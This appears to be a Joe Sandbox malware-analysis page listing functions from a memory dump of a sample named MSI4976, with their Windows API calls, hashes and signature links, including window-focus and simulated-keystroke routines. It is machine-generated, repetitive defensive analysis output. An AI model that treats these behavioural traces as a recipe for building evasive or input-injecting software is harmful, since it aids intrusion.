Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 059f42f99779fd8aa19a889310d51772c8ea6281bbf0a7b8ee28155d8fa6d7cf
Instruction ID: bb4ce3cbb89ec1dc39cf95043059fcc671d6c5ed35e7c29ac30f1f50d72a3b54
Opcode Fuzzy Hash: 059f42f99779fd8aa19a889310d51772c8ea6281bbf0a7b8ee28155d8fa6d7cf
Instruction Fuzzy Hash: FE117C31201B64AFD322CF0AD880F66B7E9EF44714F10C42DE59A86A50C771F844CB60

Function 00324D29 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003945F9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 8f18987bb35b2baff0789867a32b92a27879a4fd73e9d049a8f42728d02b6011
Instruction ID: f9616d14445ae82212f807e8e6035aac5d815bbf0b80b9c6c1626cbde2efde16
Opcode Fuzzy Hash: 8f18987bb35b2baff0789867a32b92a27879a4fd73e9d049a8f42728d02b6011
Instruction Fuzzy Hash: E7018FB9200542AFC306EB28D981D39F7A9FF853107548259E429CB702CB30FC22CBE0

Function 0032CAEE Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0032CB2F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction ID: fca55dec7f7c04076d9458cee2104b2c2b7cdfebdd508cddbb2dac6932f1b856
Opcode Fuzzy Hash: b5c2f79ffc866aa4d9d8d5862c779d30c68016984ecab95dea654ca3aae33fc1
Instruction Fuzzy Hash: 0901F9722147016ED7269B39D807A6ABBD8DF447A0F50852EF95ACF1D1EB71E4008A50

Function 0033F2D0 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0033F307

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 02776e319c847e67457d139bf32e2937006cb129a4eaf7d285538e405d1422c3
Instruction ID: efcd5da6d0e561f5de143c6a86038751a45686e28d9c9e5f8d0cf2fd788226b2
Opcode Fuzzy Hash: 02776e319c847e67457d139bf32e2937006cb129a4eaf7d285538e405d1422c3
Instruction Fuzzy Hash: 9001DB39504601EFCB237F29E881E5B7BE89F81370F61453EF8548B651DB31A85187A1

Function 00325116 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000000,?,00000000,?,?,?,00325A39,?,?,?,-00000003,00000000,00000000), ref: 0032514E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 0bdd90dc909f2ceae0fcbe950187b46add66e2b74dce35f78214b8a7080618dc
Instruction ID: 90702ea0c4cd66f68c1b65d53ce670687057eb3f42b48b2af2c63ca39375981d
Opcode Fuzzy Hash: 0bdd90dc909f2ceae0fcbe950187b46add66e2b74dce35f78214b8a7080618dc
Instruction Fuzzy Hash: A6F0F679201A31EBCB175F15E80072AF7A9EF40F60F018129E5494AA50CB70E930C7C4

Function 003795AF Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 003795C9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 5b24a155b30226297467cb602d4df6ba316d2db50874632993f8146e801c0dc1
Instruction ID: 5edc8fcfd8f8ccb72a5464af0d7f9e87e6e9beec5e8d94ef9d471f4ebd425f76
Opcode Fuzzy Hash: 5b24a155b30226297467cb602d4df6ba316d2db50874632993f8146e801c0dc1
Instruction Fuzzy Hash: 30E0E5376042146BC310EA64DC45AABB799BF85730F04871ABDA48B2C1DA30D814C3C1

Function 00323E39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,003234E2,?,00000001), ref: 00323E6D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 4330c00a57af26f4c404cc89f8aa16a6438a01ad2bc086275388b86cca057306
Instruction ID: 5f1bff90a9f9f39389cb10cce9ca30fcaa8c97f37ddcd5dae6813191daad4ead
Opcode Fuzzy Hash: 4330c00a57af26f4c404cc89f8aa16a6438a01ad2bc086275388b86cca057306
Instruction Fuzzy Hash: B0F03972101761CFCB369F64E490816BBF4EF147153268E3EE1D686A21C739A948DF00

Function 003679F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?), ref: 00367A11

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: 81a954ba9d5d08010d2dfe3c7cacf3531e88aee148a4a18d06d0eb851ebc7292
Instruction ID: b4e5e7e6d1253c2965adada5cdce181edf5932dfa52fdc0c26ab7413bbbea039
Opcode Fuzzy Hash: 81a954ba9d5d08010d2dfe3c7cacf3531e88aee148a4a18d06d0eb851ebc7292
Instruction Fuzzy Hash: 32D05EA65002282FDB50E6349C09DFB36ADD744244F0002A0786DD2042E920AE4586F0

Function 0032193B Relevance: 1.5, APIs: 1, Instructions: 18windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00321952

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSendTimeout
String ID:
API String ID: 1599653421-0
Opcode ID: 7f85c196a3040cf4fbd96df197af387a5c6641320a8bf199ac7d594487322891
Instruction ID: 77211d97572474a0da0e213e580fefc4b90e3af69ca10d745b1934f3b28e9627
Opcode Fuzzy Hash: 7f85c196a3040cf4fbd96df197af387a5c6641320a8bf199ac7d594487322891
Instruction Fuzzy Hash: F2D012F16902087EFB018761CD07DBB775CD722F81F4046617E06D64D1D6649E098570

Function 00376FC3 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?), ref: 00376FE1

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: fa8f704a2007b833bc2efed48639d012fb5521f30a49e1c88fe3c31b0bfb56ca
Instruction ID: e4f96a721df1d252d57948e090b20deb285509cf0dc4899cfe9647bdce5b42ac
Opcode Fuzzy Hash: fa8f704a2007b833bc2efed48639d012fb5521f30a49e1c88fe3c31b0bfb56ca
Instruction Fuzzy Hash: 50D06C362106249F8B12EB99E845C8ABBE9EB4D7107418062F60A9B631DA21EC909B90

Function 00324FB3 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?,?,?,003949DA,?,?,00000000), ref: 00324FC4

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2a731b8042e2dc4401c3e08a1684cb7adbd9af6e1eda8581ad36e968992bdfa0
Instruction ID: 09863e5dc4b1c0391bc815bddbcdeae065f1b7002b18db4fa977b34099e138d6
Opcode Fuzzy Hash: 2a731b8042e2dc4401c3e08a1684cb7adbd9af6e1eda8581ad36e968992bdfa0
Instruction Fuzzy Hash: 91D0C974640208BFEB00CB90DC4BF9A7BBCEB05718F200194F601A62D0D2F2BE408B55

Function 00394DDC Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00394DE7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: be7059ab73f3d80cb1fad5d40b1b00664568055418fbb93fe814e6220565a8af
Instruction ID: 30d1361c530ef963e8e1353eaa4c926718362feab1f67ac0228d8b6d3333f91f
Opcode Fuzzy Hash: be7059ab73f3d80cb1fad5d40b1b00664568055418fbb93fe814e6220565a8af
Instruction Fuzzy Hash: 43D0C9B15002009BE7225F6AE94478ABBE8AF55300F248829F5E686550D776B8C29B11

Function 00344129 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00344134

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 7210d973eb7a82886160f57bd615c6c62754c0c3ff20bf9b9c06cbb6c3c7d6c2
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 5EB0927244030C77EE022A82EC02B493B599B50660F008020FB0C1C161A673AAA09A89

Function 003250EC Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00395950), ref: 0032510C

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9cdc76c50408b2c345513cf0b627e8e7bbc2a0e7231c84795977bdbfed97eee0
Instruction ID: e8e7d9c62d3fc3664d3eca15382e15691fd32d49b08a9f1be049b4a9979ebf40
Opcode Fuzzy Hash: 9cdc76c50408b2c345513cf0b627e8e7bbc2a0e7231c84795977bdbfed97eee0
Instruction Fuzzy Hash: 58E0B675400B12CBC6324F1AE804412FBF9FFE13613228A2FD4E682A60DBB05986DB90

Non-executed Functions

Function 0038F5D0 Relevance: 70.6, APIs: 37, Strings: 3, Instructions: 630windowkeyboardnativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

NtdllDialogWndProc_W.NTDLL(?,0000004E,?,?,?,?,?,?,?), ref: 0038F64E
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0038F6AD
GetWindowLongW.USER32(?,000000F0), ref: 0038F6EA
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0038F711
SendMessageW.USER32 ref: 0038F737
_wcsncpy.LIBCMT ref: 0038F7A3
GetKeyState.USER32(00000011), ref: 0038F7C4
GetKeyState.USER32(00000009), ref: 0038F7D1
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0038F7E7
GetKeyState.USER32(00000010), ref: 0038F7F1
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0038F820
SendMessageW.USER32 ref: 0038F843
SendMessageW.USER32(?,00001030,?,0038DE69), ref: 0038F940
SetCapture.USER32(?), ref: 0038F970
ClientToScreen.USER32(?,?), ref: 0038F9D4
InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 0038F9FA
ReleaseCapture.USER32 ref: 0038FA05
GetCursorPos.USER32(?), ref: 0038FA3A
ScreenToClient.USER32(?,?), ref: 0038FA47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0038FAA9
SendMessageW.USER32 ref: 0038FAD3
SendMessageW.USER32(?,00001111,00000000,?), ref: 0038FB12
SendMessageW.USER32 ref: 0038FB3D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0038FB55
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0038FB60
GetCursorPos.USER32(?), ref: 0038FB81
ScreenToClient.USER32(?,?), ref: 0038FB8E
GetParent.USER32(?), ref: 0038FBAA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0038FC10
SendMessageW.USER32 ref: 0038FC40
ClientToScreen.USER32(?,?), ref: 0038FC96
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0038FCC2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0038FCEA
SendMessageW.USER32 ref: 0038FD0D
ClientToScreen.USER32(?,?), ref: 0038FD57
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0038FD87
GetWindowLongW.USER32(?,000000F0), ref: 0038FE1C

Strings

@GUI_DRAGID, xrefs: 0038F99D
@U=u, xrefs: 0038F6AD, 0038F711, 0038F737, 0038F7E7, 0038F940, 0038FC10, 0038FC40, 0038FCEA, 0038FD0D
F, xrefs: 0038FD13

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$ClientScreen$LongStateWindow$CaptureCursorMenuPopupTrack$DialogInvalidateNtdllParentProc_RectRelease_wcsncpy
String ID: @GUI_DRAGID$@U=u$F
API String ID: 3461372671-1007936534
Opcode ID: 8d147f66bfacec84f59479c1514130628eabf8a8db35f18f1296cf2f49bc2455
Instruction ID: b9c0d124b2192e2a09470b8e2a48a8d3c1a1d35d55f6753a6c81356daf1d5012
Opcode Fuzzy Hash: 8d147f66bfacec84f59479c1514130628eabf8a8db35f18f1296cf2f49bc2455
Instruction Fuzzy Hash: 4F32D070204741AFD722EF24C884EAABBE9FF49354F1406A9F6958B2B1D730ED04CB51

Function 0038A8DC Relevance: 61.8, APIs: 33, Strings: 2, Instructions: 574windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 0038AFDB

Strings

%d/%02d/%02d, xrefs: 0038AD0A
@U=u, xrefs: 0038A972, 0038A9C6, 0038AA79, 0038AAC0, 0038AAE8, 0038AC4D, 0038ACE8, 0038AD32, 0038AD7C, 0038AD9C, 0038AE88, 0038AEC1, 0038AF12, 0038AF7D, 0038AFDB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d$@U=u
API String ID: 3850602802-2764005415
Opcode ID: 3c64445cdaf3d5b97bb3715d2dac03398333992e0ee88b469ef7fa70172328da
Instruction ID: fc2d60ec58ee963418e67fed4974e7ca10a86d2b381ac6767f1362a7dbbb2238
Opcode Fuzzy Hash: 3c64445cdaf3d5b97bb3715d2dac03398333992e0ee88b469ef7fa70172328da
Instruction Fuzzy Hash: F112F0B1500704ABEB2AAF64CC49FAE7BF8EF45310F10429AF606DF6A0DB749941CB11

Function 0033F78E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000), ref: 0033F796
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00394388
IsIconic.USER32(000000FF), ref: 00394391
ShowWindow.USER32(000000FF,00000009), ref: 0039439E
SetForegroundWindow.USER32(000000FF), ref: 003943A8
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 003943BE
GetCurrentThreadId.KERNEL32 ref: 003943C5
GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 003943D1
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 003943E2
AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 003943EA
AttachThreadInput.USER32(00000000,?,00000001), ref: 003943F2
SetForegroundWindow.USER32(000000FF), ref: 003943F5
MapVirtualKeyW.USER32(00000012,00000000), ref: 0039440A
keybd_event.USER32(00000012,00000000), ref: 00394415
MapVirtualKeyW.USER32(00000012,00000000), ref: 0039441F
keybd_event.USER32(00000012,00000000), ref: 00394424
MapVirtualKeyW.USER32(00000012,00000000), ref: 0039442D
keybd_event.USER32(00000012,00000000), ref: 00394432
